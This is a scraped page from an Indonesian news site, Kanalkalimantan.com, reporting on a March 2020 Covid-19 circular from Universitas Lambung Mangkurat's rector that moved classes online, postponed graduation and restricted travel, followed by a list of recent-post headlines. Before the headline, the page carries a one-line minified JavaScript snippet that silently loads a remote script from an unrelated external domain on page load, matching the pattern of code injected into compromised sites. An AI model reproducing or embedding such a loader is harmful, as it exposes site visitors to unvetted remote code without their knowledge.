(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Rektor ULM Terbitkan Surat Edaran Covid-19, Perkuliahan Diliburkan hingga Wisuda Ditunda!


KANALKALIMANTAN.COM, BANJARMASIN – Menyikapi kasus merebaknya virus corona atau Covid-19, Rektorat Universitas Lambung Mangkurat (ULM) Banjarmasin menerbitkan surat edaran (SE) per Senin (16/3/2020). SE dengan nomor 281/UN8/KP/2020 ini ditandatangani langsung oleh Rektor ULM Prof. Sutarto Hadi.

Dalam SE yang diterbitkan, selain menekankan pola hidup bersih dan sehat (PHBS) kepada civitas akademika, terhitung hari ini hingga 27 Maret 2020 mendatang, semua kegiatan perkuliahan secara tatap muka diliburkan. Sebagai gantinya, kegiatan kuliah tatap muka menggunakan metode pembelajaran daring (e-learning) dengan mendayagunakan fasilitas yang ada.

“Kegiatan praktik laboratorium, praktik lapangan, praktik industri dan lain sebagainya dilakukan dengan metode lain tanpa pertemuan langsung, atau dengan penjadwalan ulang sesuai dengan perkembangan,” kata Sutarto.

Bahkan, wisuda ke-95 ULM yang direncanakan akan dihelat pada 21 Maret 2020 mendatang ditunda hingga batas waktu yang belum ditentukan. Namun demikian, lanjut Sutarto, mahasiswa yang membutuhkan ijazah dalam waktu dekat guna kepentingan melamar pekerjaan, studi S2 hingga pengajuan beasiswa, dapat mengambilnya dari tanggal 23 hingga 27 Maret 2020 di Bagian Akademik dan Kemahasiswaan Rektorat ULM.

“Selain itu, kita meminta untuk menunda atau menjadwalkan ulang kegiatan penelitian untuk pengumpulan data lapangan, kegiatan pengabdian kepada masyarakat yang mengumpulkan massa, dan disesuaikan dengan perkembangan keadaan,” ucap Sutarto.

Di samping itu, Rektorat ULM juga memutuskan untuk menunda atau menjadwalkan ulang rencana perjalanan ke luar negeri. Sutarto melanjutkan, pimpinan fakultas harus berkoordinasi dengan perguruan tinggi mitra di luar negeri untuk mencari penyelesaian yang sebaik-baiknya atas konsekuensi administratif dan akademik dari larangan ini.

“Terakhir, tidak melakukan perjalanan di dalam negeri dan menghindari aktivitas di luar rumah yang tidak penting,” tukas Sutarto. (Kanalkalimantan.com/fikri)

Reporter : Fikri
Editor : Chell

 


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.